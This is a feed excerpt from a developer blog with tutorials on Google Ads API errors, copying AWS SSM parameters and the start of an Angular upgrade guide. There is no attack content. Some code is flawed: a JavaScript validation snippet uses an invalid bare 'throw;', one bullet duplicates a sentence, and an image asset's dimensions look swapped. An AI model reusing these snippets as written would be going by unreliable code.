                        <span class="hljs-tag">&lt;<span class="hljs-name">OPENINGVALUE</span>&gt;</span>-1200000.00<span class="hljs-tag">&lt;/<span class="hljs-name">OPENINGVALUE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">OPENINGRATE</span>&gt;</span>12000.00/pcs<span class="hljs-tag">&lt;/<span class="hljs-name">OPENINGRATE</span>&gt;</span>
                        <span class="hljs-tag">&lt;<span class="hljs-name">EXPIRYPERIOD</span>/&gt;</span>
                    <span class="hljs-tag">&lt;/<span class="hljs-name">BATCHALLOCATIONS.LIST</span>&gt;</span>
                <span class="hljs-tag">&lt;/<span class="hljs-name">STOCKITEM</span>&gt;</span>
            <span class="hljs-tag">&lt;/<span class="hljs-name">COLLECTION</span>&gt;</span>
        <span class="hljs-tag">&lt;/<span class="hljs-name">DATA</span>&gt;</span>
    <span class="hljs-tag">&lt;/<span class="hljs-name">BODY</span>&gt;</span>
<span class="hljs-tag">&lt;/<span class="hljs-name">ENVELOPE</span>&gt;</span>
</code></pre>
<h3 id="heading-conclusion">Conclusion</h3>
<p>In conclusion, exporting data from Tally Prime using XML requests is a powerful method for efficiently retrieving various types of financial and inventory data. By understanding the structure and components of XML requests and responses, users can customize their data exports to meet specific business needs. Whether it's exporting ledgers, groups, stock items, or GST classifications, the flexibility of XML allows for detailed and precise data extraction, facilitating better financial analysis and decision-making.</p>
]]></content:encoded></item><item><title><![CDATA[Troubleshooting YouTube URL Issues in Google Ads API]]></title><description><![CDATA[Ever felt like you're solving a riddle when working with the Google Ads API? Picture this: you're all set to launch a killer Performance Max campaign. You're confident your setup is flawless. You hit the API, eagerly awaiting success, and then…
Boom!...]]></description><link>https://blog.ghanshyamdigital.com/troubleshooting-youtube-url-issues-in-google-ads-api</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/troubleshooting-youtube-url-issues-in-google-ads-api</guid><category><![CDATA[Google Ads API]]></category><category><![CDATA[Internal Error]]></category><category><![CDATA[Performance Max Ad]]></category><category><![CDATA[Performance Max]]></category><category><![CDATA[google ads]]></category><dc:creator><![CDATA[Rudra Patel]]></dc:creator><pubDate>Fri, 31 Jan 2025 05:30:28 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1734929821833/e361d0fd-63f5-43ab-ad10-df23b2cd02e6.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Ever felt like you're solving a riddle when working with the Google Ads API? Picture this: you're all set to launch a killer Performance Max campaign. You're confident your setup is flawless. You hit the API, eagerly awaiting success, and then…</p>
<p><strong>Boom!</strong> 💥 You’re greeted with:</p>
<pre><code class="lang-json">{
  <span class="hljs-attr">"errorCode"</span>: { <span class="hljs-attr">"internalError"</span>: <span class="hljs-string">"INTERNAL_ERROR"</span> },
  <span class="hljs-attr">"message"</span>: <span class="hljs-string">"An internal error has occurred."</span>
}
</code></pre>
<p>No helpful hints. No breadcrumbs to follow. Just a vague "internal error." 😡 If you’ve been there, you know the frustration is real.</p>
<p>But don’t worry—you’re not alone, and I’ve got your back. After some digging, I discovered that this cryptic error often stems from one sneaky culprit: <strong>an invalid YouTube URL</strong>. Yep, that’s right. A seemingly small mistake can bring your entire campaign launch to a screeching halt. In this blog, I’ll walk you through why this happens and, more importantly, how to fix it. Let’s get started! 🚀</p>
<h2 id="heading-the-problem-when-urls-go-rogue">The Problem: When URLs Go Rogue</h2>
<p>The <strong>INTERNAL_ERROR</strong> is like a master of disguise—it doesn’t tell you that your YouTube URL is at fault. Instead, it leaves you guessing and pulling your hair out. Here’s what’s really going on:</p>
<p>If your YouTube URL is even slightly off—malformed, private, or restricted—the API throws a tantrum. Common URL issues include:</p>
<ul>
<li><p><strong>Missing prefixes</strong>: Forgetting the "https://" or "www.youtube.com" prefix.</p>
</li>
<li><p><strong>Shortened links</strong>: Using a <code>youtu.be</code> link without verifying it’s accessible.</p>
</li>
<li><p><strong>Private or unlisted videos</strong>: Videos that are blocked from public use.</p>
</li>
</ul>
<h3 id="heading-example-scenarios">Example Scenarios</h3>
<ol>
<li><p>You copy a YouTube link from a browser but miss the <code>https://</code>.</p>
</li>
<li><p>You paste a shortened link (<code>youtu.be/abc123</code>) and forget to check its accessibility.</p>
</li>
<li><p>The video is set to private or unlisted, making it invisible to the API.</p>
</li>
</ol>
<p>The result? The Google Ads API can’t process your request and retaliates with the dreaded INTERNAL_ERROR. 😖</p>
<h2 id="heading-the-fix-taming-the-internalerror-beast">🛠️ The Fix: Taming the INTERNAL_ERROR Beast</h2>
<p>To stop this pesky error from haunting your campaigns, here’s your action plan:</p>
<h3 id="heading-1-validate-your-youtube-urls">1. Validate Your YouTube URLs</h3>
<p>Think of this step as checking your boarding pass before a flight. Use a validation function to ensure your URLs are correctly formatted before sending them to the API. Here’s a handy snippet in JavaScript:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> isValidYouTubeURL = <span class="hljs-function">(<span class="hljs-params">url</span>) =&gt;</span> {
  <span class="hljs-keyword">const</span> pattern = <span class="hljs-regexp">/^(https?:\/\/)?(www\.)?(youtube\.com|youtu\.be)\/(watch\?v=)?[\w-]{11}$/</span>;
  <span class="hljs-keyword">return</span> pattern.test(url);
};
</code></pre>
<p>Before submitting a URL to the API, pass it through this function:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">if</span> (!isValidYouTubeURL(url)) {
  <span class="hljs-built_in">console</span>.error(<span class="hljs-string">"Invalid YouTube URL: "</span>, url);
  <span class="hljs-keyword">throw</span>;
}
</code></pre>
<p>This simple step will catch most formatting errors before they cause trouble.</p>
<h3 id="heading-2-verify-video-accessibility">2. Verify Video Accessibility</h3>
<p>Even if your URL is correctly formatted, the video itself needs to be:</p>
<ul>
<li><p><strong>Public</strong>: Ensure it’s not private or restricted.</p>
</li>
<li><p><strong>Compliant</strong>: The content must adhere to Google Ads policies.</p>
</li>
</ul>
<p><strong>Pro Tip : Open the video in an incognito browser to simulate a public view. If you can’t see the video, neither can the API. 🕵️‍♂️</strong></p>
<h3 id="heading-3-log-like-a-detective">3. Log Like a Detective</h3>
<p>Adding logs can help you pinpoint issues faster by capturing the exact URL being sent. For example:</p>
<pre><code class="lang-javascript"><span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Submitting YouTube URL: "</span>, url);
</code></pre>
<p>If something breaks, you’ll have a clear trail to follow instead of fumbling in the dark. 🔦</p>
<h3 id="heading-bonus-automate-url-checks-in-bulk">Bonus: Automate URL Checks in Bulk</h3>
<p>If you’re managing campaigns with multiple YouTube videos, manually validating each URL can be a chore. Automate the process by creating a bulk validation script:</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> validateYouTubeURLs = <span class="hljs-function">(<span class="hljs-params">urls</span>) =&gt;</span> {
  <span class="hljs-keyword">return</span> urls.map(<span class="hljs-function"><span class="hljs-params">url</span> =&gt;</span> ({
    url,
    <span class="hljs-attr">isValid</span>: isValidYouTubeURL(url)
  }));
};

<span class="hljs-keyword">const</span> urlsToCheck = [
  <span class="hljs-string">"https://www.youtube.com/watch?v=abc123"</span>,
  <span class="hljs-string">"youtu.be/invalid"</span>,
  <span class="hljs-string">"https://youtube.com/watch?v=1234567890a"</span>
];

<span class="hljs-keyword">const</span> results = validateYouTubeURLs(urlsToCheck);
<span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Validation Results: "</span>, results);
</code></pre>
<p>This approach saves time and ensures that all URLs are good to go before you hit the API. ✅</p>
<h2 id="heading-why-this-matters">Why This Matters</h2>
<p>A single invalid YouTube URL can derail your entire campaign launch. By validating URLs, checking accessibility, and logging everything, you can:</p>
<ul>
<li><p>Save hours of debugging time. 🕒</p>
</li>
<li><p>Avoid unnecessary frustration. 😤This approach saves time and ensures that all URLs are good to go before you hit the API. ✅</p>
</li>
<li><p>Ensure your campaigns launch smoothly and on schedule. 🚀</p>
</li>
</ul>
<h2 id="heading-closing-thoughts">Closing Thoughts</h2>
<p>Errors like <strong>INTERNAL_ERROR</strong> may seem cryptic, but they’re not unbeatable. With the steps above, you’ll have the tools to diagnose and fix these issues like a pro. 🛠️</p>
<p>Got another Google Ads API riddle that’s driving you nuts? Drop it in the comments, and I’ll help you crack the code. 💬</p>
<p>Stay tuned for more tips, tricks, and solutions in the <strong>Mastering Performance Max</strong> series. Together, we’ll tackle every roadblock and make launching campaigns feel effortless. 💪</p>
<h3 id="heading-need-custom-development-get-expert-help"><strong>Need Custom Development? Get Expert Help!</strong> 🚀</h3>
<p>Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's <strong>custom software, backend architecture, API integrations, or performance tuning</strong>, we have you covered.</p>
<p>👉 <strong>Let’s build something amazing together!</strong> <a target="_blank" href="https://ghanshyamdigital.com/contact/">Get in touch</a></p>
]]></content:encoded></item><item><title><![CDATA[How to Copy AWS SSM Parameters: CLI Commands & Python Scripts Explained]]></title><description><![CDATA[Introduction
AWS Systems Manager Parameter Store is a powerful service that allows you to securely store and manage configuration data and secrets. However, there are times when you need to duplicate or rename an existing parameter, whether for envir...]]></description><link>https://blog.ghanshyamdigital.com/how-to-copy-aws-ssm-parameters-cli-commands-python-scripts-explained</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/how-to-copy-aws-ssm-parameters-cli-commands-python-scripts-explained</guid><category><![CDATA[AWS]]></category><category><![CDATA[AWS SSM]]></category><category><![CDATA[ssm]]></category><category><![CDATA[Python]]></category><dc:creator><![CDATA[Ghanshyam Digital]]></dc:creator><pubDate>Thu, 30 Jan 2025 05:30:31 GMT</pubDate><content:encoded><![CDATA[<h2 id="heading-introduction"><strong>Introduction</strong></h2>
<p>AWS Systems Manager Parameter Store is a powerful service that allows you to securely store and manage configuration data and secrets. However, there are times when you need to <strong>duplicate</strong> or <strong>rename</strong> an existing parameter, whether for <strong>environment migrations, backups, or automation workflows</strong>.</p>
<p>In this guide, we’ll explore how to <strong>copy AWS SSM parameters</strong> using both <strong>AWS CLI</strong> and <strong>Python scripts (Boto3)</strong>. By the end of this tutorial, you'll be able to duplicate parameters with ease while ensuring security and efficiency.</p>
<h2 id="heading-why-copy-aws-ssm-parameters"><strong>Why Copy AWS SSM Parameters?</strong></h2>
<p>Before diving into the technical steps, let's explore common use cases for copying SSM parameters:</p>
<p>✅ <strong>Environment Migration</strong> – Moving parameters from a <strong>development</strong> to a <strong>staging</strong> or <strong>production</strong> environment.<br />✅ <strong>Parameter Renaming</strong> – Reorganizing parameters for better structure.<br />✅ <strong>Backup &amp; Disaster Recovery</strong> – Keeping a backup of important parameters.<br />✅ <strong>Cross-Account Sharing</strong> – Duplicating parameters across AWS accounts.</p>
<h2 id="heading-method-1-copying-ssm-parameters-using-aws-cli"><strong>Method 1: Copying SSM Parameters Using AWS CLI</strong></h2>
<p>AWS CLI provides a straightforward way to fetch and create parameters. Below is a step-by-step guide.</p>
<h3 id="heading-step-1-get-the-parameter-value"><strong>Step 1: Get the Parameter Value</strong></h3>
<p>First, retrieve the existing parameter value using:</p>
<pre><code class="lang-bash">aws ssm get-parameter --name <span class="hljs-string">"/old/parameter/name"</span> --query <span class="hljs-string">"Parameter.Value"</span> --output text
</code></pre>
<p>If it's a <strong>SecureString</strong>, include <code>--with-decryption</code>:</p>
<pre><code class="lang-bash">aws ssm get-parameter --name <span class="hljs-string">"/old/parameter/name"</span> --with-decryption --query <span class="hljs-string">"Parameter.Value"</span> --output text
</code></pre>
<h3 id="heading-step-2-create-the-new-parameter"><strong>Step 2: Create the New Parameter</strong></h3>
<p>Now, take the retrieved value and store it under a new name:</p>
<pre><code class="lang-bash">aws ssm put-parameter --name <span class="hljs-string">"/new/parameter/name"</span> --value <span class="hljs-string">"your-value-here"</span> --<span class="hljs-built_in">type</span> <span class="hljs-string">"String"</span> --overwrite
</code></pre>
<p>For a <strong>SecureString</strong> parameter:</p>
<pre><code class="lang-bash">aws ssm put-parameter --name <span class="hljs-string">"/new/parameter/name"</span> --value <span class="hljs-string">"your-value-here"</span> --<span class="hljs-built_in">type</span> <span class="hljs-string">"SecureString"</span> --overwrite
</code></pre>
<h3 id="heading-step-3-automate-the-process"><strong>Step 3: Automate the Process</strong></h3>
<p>To automate, use this <strong>one-liner command</strong> to copy an existing parameter to a new one:</p>
<pre><code class="lang-bash">aws ssm get-parameter --name <span class="hljs-string">"/old/parameter/name"</span> --query <span class="hljs-string">"Parameter.Value"</span> --output text | \
xargs -I {} aws ssm put-parameter --name <span class="hljs-string">"/new/parameter/name"</span> --value <span class="hljs-string">"{}"</span> --<span class="hljs-built_in">type</span> <span class="hljs-string">"String"</span> --overwrite
</code></pre>
<p>For <strong>SecureString</strong>:</p>
<pre><code class="lang-bash">aws ssm get-parameter --name <span class="hljs-string">"/old/parameter/name"</span> --with-decryption --query <span class="hljs-string">"Parameter.Value"</span> --output text | \
xargs -I {} aws ssm put-parameter --name <span class="hljs-string">"/new/parameter/name"</span> --value <span class="hljs-string">"{}"</span> --<span class="hljs-built_in">type</span> <span class="hljs-string">"SecureString"</span> --overwrite
</code></pre>
<p>✅ <strong>Done!</strong> Your new parameter is now created with the same value.</p>
<hr />
<h2 id="heading-method-2-copying-ssm-parameters-using-python-boto3"><strong>Method 2: Copying SSM Parameters Using Python (Boto3)</strong></h2>
<p>If you're working with AWS automation, using Python with <strong>Boto3</strong> is a great approach. This method allows you to copy parameters <strong>in bulk</strong> or even across AWS accounts.</p>
<h3 id="heading-step-1-install-boto3-if-not-installed"><strong>Step 1: Install Boto3 (If Not Installed)</strong></h3>
<pre><code class="lang-bash">pip install boto3
</code></pre>
<h3 id="heading-step-2-copy-a-single-parameter"><strong>Step 2: Copy a Single Parameter</strong></h3>
<p>This script fetches a parameter and creates a new one:</p>
<pre><code class="lang-python"><span class="hljs-keyword">import</span> boto3

ssm = boto3.client(<span class="hljs-string">'ssm'</span>)

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">copy_parameter</span>(<span class="hljs-params">old_name, new_name</span>):</span>
    response = ssm.get_parameter(Name=old_name, WithDecryption=<span class="hljs-literal">True</span>)
    value = response[<span class="hljs-string">'Parameter'</span>][<span class="hljs-string">'Value'</span>]
    param_type = response[<span class="hljs-string">'Parameter'</span>][<span class="hljs-string">'Type'</span>]

    ssm.put_parameter(
        Name=new_name,
        Value=value,
        Type=param_type,
        Overwrite=<span class="hljs-literal">True</span>
    )
    print(<span class="hljs-string">f"✅ Copied <span class="hljs-subst">{old_name}</span> to <span class="hljs-subst">{new_name}</span>"</span>)

<span class="hljs-comment"># Example usage</span>
copy_parameter(<span class="hljs-string">'/old/parameter/name'</span>, <span class="hljs-string">'/new/parameter/name'</span>)
</code></pre>
<h3 id="heading-step-3-copy-multiple-parameters-under-a-path"><strong>Step 3: Copy Multiple Parameters Under a Path</strong></h3>
<p>For bulk copying (e.g., from <code>/dev/</code> to <code>/staging/</code>), use this script:</p>
<pre><code class="lang-python"><span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">copy_parameters</span>(<span class="hljs-params">old_prefix, new_prefix</span>):</span>
    response = ssm.get_parameters_by_path(Path=old_prefix, Recursive=<span class="hljs-literal">True</span>, WithDecryption=<span class="hljs-literal">True</span>)

    <span class="hljs-keyword">for</span> param <span class="hljs-keyword">in</span> response[<span class="hljs-string">'Parameters'</span>]:
        old_name = param[<span class="hljs-string">'Name'</span>]
        new_name = old_name.replace(old_prefix, new_prefix, <span class="hljs-number">1</span>)  <span class="hljs-comment"># Replace prefix</span>
        ssm.put_parameter(Name=new_name, Value=param[<span class="hljs-string">'Value'</span>], Type=param[<span class="hljs-string">'Type'</span>], Overwrite=<span class="hljs-literal">True</span>)
        print(<span class="hljs-string">f"✅ Copied <span class="hljs-subst">{old_name}</span> → <span class="hljs-subst">{new_name}</span>"</span>)

<span class="hljs-comment"># Example usage</span>
copy_parameters(<span class="hljs-string">'/dev/'</span>, <span class="hljs-string">'/staging/'</span>)
</code></pre>
<hr />
<h2 id="heading-best-practices-for-managing-ssm-parameters"><strong>Best Practices for Managing SSM Parameters</strong></h2>
<p>🔹 <strong>Use Parameter Policies</strong> – Set expiration policies to manage secrets automatically.<br />🔹 <strong>Enable Encryption</strong> – Always use <strong>SecureString</strong> for sensitive data.<br />🔹 <strong>Organize Parameters by Environment</strong> – Follow a structure like <code>/env/service/parameter-name</code>.<br />🔹 <strong>Use Tags</strong> – Categorize parameters for better management (<code>--tags Key=Environment,Value=Production</code>).</p>
<hr />
<h2 id="heading-conclusion"><strong>Conclusion</strong></h2>
<p>Copying AWS SSM parameters is essential for <strong>environment migrations, backups, and automation workflows</strong>. Whether you prefer <strong>AWS CLI</strong> for quick tasks or <strong>Python scripts</strong> for automation, this guide has you covered.</p>
<p>✅ <strong>CLI is great for quick, one-off copies</strong>.<br />✅ <strong>Python is best for automating bulk copies or cross-account migration</strong>.</p>
<p>Now, you can <strong>easily duplicate AWS SSM parameters</strong> while maintaining security and efficiency. 🚀</p>
<p>Let me know if you have any questions or need additional refinements! 👇💬</p>
<h3 id="heading-need-custom-development-get-expert-help"><strong>Need Custom Development? Get Expert Help!</strong> 🚀</h3>
<p>Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's <strong>custom software, backend architecture, API integrations, or performance tuning</strong>, we have you covered.</p>
<p>👉 <strong>Let’s build something amazing together!</strong> <a target="_blank" href="https://ghanshyamdigital.com/contact/">Get in touch</a></p>
]]></content:encoded></item><item><title><![CDATA[Cracking the "Not Enough Assets" Error with Google Ads API]]></title><description><![CDATA[So there I was, deep in the weeds of integrating the Performance Ad launch feature for a campaign using Google Ads API. Everything was going swimmingly… until bam! I got hit with error messages like "Not Enough Assets," "Not Enough Headline Assets," ...]]></description><link>https://blog.ghanshyamdigital.com/not-enough-assets-error-google-ads-api</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/not-enough-assets-error-google-ads-api</guid><category><![CDATA[Performance Max]]></category><category><![CDATA[Asset Group]]></category><category><![CDATA[Google]]></category><category><![CDATA[google ads]]></category><category><![CDATA[Developer]]></category><category><![CDATA[Google Developer]]></category><category><![CDATA[Google Developers Group]]></category><category><![CDATA[assets]]></category><dc:creator><![CDATA[Rudra Patel]]></dc:creator><pubDate>Fri, 25 Oct 2024 08:18:08 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1728910394703/4eaa84da-48c0-4fcb-a094-83bbcf0c96a7.webp" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>So there I was, deep in the weeds of integrating the Performance Ad launch feature for a campaign using Google Ads API. Everything was going swimmingly… until <em>bam!</em> I got hit with error messages like "Not Enough Assets," "Not Enough Headline Assets," "Not Enough Description Assets," "Not Enough Long Headline Assets." 😩</p>
<p>The weird part? I <em>knew</em> I had more than enough assets to meet Google's requirements. Like, way more. Yet, the API was stubbornly refusing to cooperate. 🤔</p>
<p>At this point, I figured I had two options: scream into the void 😱 or reach out to Google Ads API support. Luckily, I went with the second option. 😅</p>
<h3 id="heading-the-support-lifeline">The Support Lifeline 🆘</h3>
<p>I sent a desperate email to Google Ads API support, and they hit me back with some crucial info. Apparently, I was creating asset groups using the <code>assetGroups</code> <strong>method</strong>, but here’s the catch: while you can create resources in separate requests, <code>AssetGroups</code> <strong>and</strong> <code>AssetGroupAssets</code> <strong>for Performance Max (PMax) campaigns need to be created in a single atomic request</strong>. 🤯</p>
<p>Basically, they said I could either attach the asset IDs directly or use the <code>assetOperation</code>. The trick was making a <strong>bulk request</strong> using the <code>googleAds.mutate</code> method. 💡 They even sent me a Java sample (which I’ll spare you from, lol).</p>
<h3 id="heading-the-fix">The Fix 🛠️</h3>
<p>Once I followed their advice and created the <code>AssetGroups</code> and <code>AssetGroupAssets</code> in a <strong>single atomic request</strong> (all in one go), like magic 🪄, the errors disappeared, and everything started working smoothly. 🎉</p>
<h3 id="heading-making-the-request">Making the Request</h3>
<p>Here’s the endpoint and request body that worked for me:</p>
<pre><code class="lang-http"><span class="hljs-attribute">POST https://googleads.googleapis.com/v17/customers/${customerId}/googleAds:mutate</span>
</code></pre>
<pre><code class="lang-json">{
  <span class="hljs-attr">"mutateOperations"</span>: [
    {
      <span class="hljs-attr">"assetGroupOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"campaign"</span>: <span class="hljs-string">"customers/{customer ID}/campaigns/{campaign ID}"</span>,
          <span class="hljs-attr">"name"</span>: <span class="hljs-string">"pmax asset group final"</span>,
          <span class="hljs-attr">"finalUrls"</span>: [<span class="hljs-string">"https://www.example.com"</span>],
          <span class="hljs-attr">"status"</span>: <span class="hljs-string">"ENABLED"</span>,
          <span class="hljs-attr">"path1"</span>: <span class="hljs-string">"home"</span>,
          <span class="hljs-attr">"path2"</span>: <span class="hljs-string">"orders"</span>,
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assetGroups/-1"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"textAsset"</span>: {
            <span class="hljs-attr">"text"</span>: <span class="hljs-string">"Headline 1"</span>
          },
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-2"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"textAsset"</span>: {
            <span class="hljs-attr">"text"</span>: <span class="hljs-string">"Headline 2"</span>
          },
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-3"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"textAsset"</span>: {
            <span class="hljs-attr">"text"</span>: <span class="hljs-string">"Headline 3"</span>
          },
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-4"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"textAsset"</span>: {
            <span class="hljs-attr">"text"</span>: <span class="hljs-string">"Long headline sample"</span>
          },
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-5"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"textAsset"</span>: {
            <span class="hljs-attr">"text"</span>: <span class="hljs-string">"Description 1 sample"</span>
          },
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-6"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"textAsset"</span>: {
            <span class="hljs-attr">"text"</span>: <span class="hljs-string">"Description 2 sample"</span>
          },
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-7"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"textAsset"</span>: {
            <span class="hljs-attr">"text"</span>: <span class="hljs-string">"Business name"</span>
          },
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-8"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"imageAsset"</span>: {
            <span class="hljs-attr">"mimeType"</span>: <span class="hljs-string">"UNKNOWN"</span>,
            <span class="hljs-attr">"fullSize"</span>: {
              <span class="hljs-attr">"heightPixels"</span>: <span class="hljs-number">1200</span>,
              <span class="hljs-attr">"widthPixels"</span>: <span class="hljs-number">628</span>,
              <span class="hljs-attr">"url"</span>: <span class="hljs-string">"sample url"</span>
            }
          },
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-9"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"imageAsset"</span>: {
            <span class="hljs-attr">"mimeType"</span>: <span class="hljs-string">"UNKNOWN"</span>,
            <span class="hljs-attr">"fullSize"</span>: {
              <span class="hljs-attr">"heightPixels"</span>: <span class="hljs-number">1200</span>,
              <span class="hljs-attr">"widthPixels"</span>: <span class="hljs-number">1200</span>,
              <span class="hljs-attr">"url"</span>: <span class="hljs-string">"sample url"</span>
            }
          },
          <span class="hljs-attr">"resourceName"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-10"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetGroupAssetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"fieldType"</span>: <span class="hljs-string">"HEADLINE"</span>,
          <span class="hljs-attr">"assetGroup"</span>: <span class="hljs-string">"customers/{customer ID}/assetGroups/-1"</span>,
          <span class="hljs-attr">"asset"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-2"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetGroupAssetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"fieldType"</span>: <span class="hljs-string">"HEADLINE"</span>,
          <span class="hljs-attr">"assetGroup"</span>: <span class="hljs-string">"customers/{customer ID}/assetGroups/-1"</span>,
          <span class="hljs-attr">"asset"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-3"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetGroupAssetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"fieldType"</span>: <span class="hljs-string">"LONG_HEADLINE"</span>,
          <span class="hljs-attr">"assetGroup"</span>: <span class="hljs-string">"customers/{customer ID}/assetGroups/-1"</span>,
          <span class="hljs-attr">"asset"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-5"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetGroupAssetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"fieldType"</span>: <span class="hljs-string">"DESCRIPTION"</span>,
          <span class="hljs-attr">"assetGroup"</span>: <span class="hljs-string">"customers/{customer ID}/assetGroups/-1"</span>,
          <span class="hljs-attr">"asset"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-6"</span>
        }
      }
    },
    {
      <span class="hljs-attr">"assetGroupAssetOperation"</span>: {
        <span class="hljs-attr">"create"</span>: {
          <span class="hljs-attr">"fieldType"</span>: <span class="hljs-string">"MARKETING_IMAGE"</span>,
          <span class="hljs-attr">"assetGroup"</span>: <span class="hljs-string">"customers/{customer ID}/assetGroups/-1"</span>,
          <span class="hljs-attr">"asset"</span>: <span class="hljs-string">"customers/{customer ID}/assets/-9"</span>
        }
      }
    }
  ]
}
</code></pre>
<p>Here, you’ll dynamically replace <code>{customerId}</code> and <code>{campaignId}</code> with your customerId and campaignId.</p>
<h3 id="heading-moral-of-the-story">Moral of the Story</h3>
<p>If you’re ever facing those pesky "Not Enough Assets" errors, don’t let them mess with your head. Just make sure you're bundling everything into one atomic request when you're creating those asset groups. The key is the <code>googleAds.mutate</code> method!</p>
<p>Lesson learned: When in doubt, bulk it out! 💪</p>
<h3 id="heading-need-custom-development-get-expert-help"><strong>Need Custom Development? Get Expert Help!</strong> 🚀</h3>
<p>Facing complex tech challenges? Our expert developers can build, optimize, and scale your solution. Whether it's <strong>custom software, backend architecture, API integrations, or performance tuning</strong>, we have you covered.</p>
<p>👉 <strong>Let’s build something amazing together!</strong> <a target="_blank" href="https://ghanshyamdigital.com/contact/">Get in touch</a></p>
]]></content:encoded></item><item><title><![CDATA[Step-by-Step Guide to Updating from Angular v16 to v18]]></title><description><![CDATA[Introduction
Angular has been a cornerstone in web development, known for its robustness and versatility. Angular v16, widely adopted by developers, made significant strides in enhancing the developer experience with features like a new reactivity mo...]]></description><link>https://blog.ghanshyamdigital.com/step-by-step-guide-to-updating-from-angular-v16-to-v18</link><guid isPermaLink="true">https://blog.ghanshyamdigital.com/step-by-step-guide-to-updating-from-angular-v16-to-v18</guid><category><![CDATA[Angular]]></category><category><![CDATA[angular16]]></category><category><![CDATA[angular18]]></category><dc:creator><![CDATA[Rudra Patel]]></dc:creator><pubDate>Sat, 14 Sep 2024 10:58:37 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1726306695103/898fa930-4d2a-48b3-930c-eedda8121d38.jpeg" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h1 id="heading-introduction">Introduction</h1>
<p>Angular has been a cornerstone in web development, known for its robustness and versatility. Angular v16, widely adopted by developers, made significant strides in enhancing the developer experience with features like a new reactivity model, improved dependency injection, error handling, and diagnostics. This version also introduced the new Signals library and RxJS interop package, streamlining the management of data changes and optimizing performance.</p>
<p>Angular v18, on the other hand, continues to build upon these innovations with substantial improvements in server-side rendering, especially in i18n hydration support and better debugging capabilities. The focus on refining the reactivity model, optimizing standalone components, and further enhancing performance demonstrates Angular's ongoing commitment to making application development more modular and efficient.</p>
<p>This comparison will highlight the key differences between Angular v16 and Angular v18, providing a deeper understanding of the improvements and how they impact the development workflow.</p>
<hr />
<h2 id="heading-difference-between-angular-v16-and-angular-v18">Difference between Angular v16 and Angular v18</h2>
<h3 id="heading-reactivity-model">Reactivity Model:</h3>
<ul>
<li><p><strong>Angular 16:</strong> Introduced the Signal-based reactivity model, making data handling more efficient and predictable.</p>
</li>
<li><p><strong>Angular 18:</strong> Further enhances this model, offering more granular control over state changes, reducing unnecessary component re-renders, and improving overall performance.</p>
</li>
</ul>
<h3 id="heading-standalone-components">Standalone Components:</h3>
<ul>
